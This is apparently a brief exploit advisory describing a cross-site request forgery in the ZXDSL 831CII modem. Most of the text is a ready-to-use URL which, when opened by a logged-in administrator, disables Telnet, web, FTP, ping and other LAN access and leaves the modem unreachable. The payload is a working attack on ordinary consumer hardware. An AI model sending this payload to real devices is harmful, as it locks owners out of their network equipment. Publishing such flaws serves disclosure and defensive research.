ZXDSL 831CII Cross Site Request Forgery

`ZXDSL 831CII Disable Access from Local network CSRF  
Disable from:  
  
Telnet  
Web Browser  
SNMP  
Ping  
FTP  
TFTP  
  
The following link will make a logged in admin disable all access from  
lan. (which makes the modem unaccessable)  
  
192.168.1.1/accesslocal.cmd?&enblicmp=0&enblftp=0&ftpport=21&enblhttp=0&httpport=80&enblsnmp=1&snmpport=161&enbltelnet=0&telnetport=23&enbltftp=1&tftpport=69&enblssh=1&sshport=22  
  
`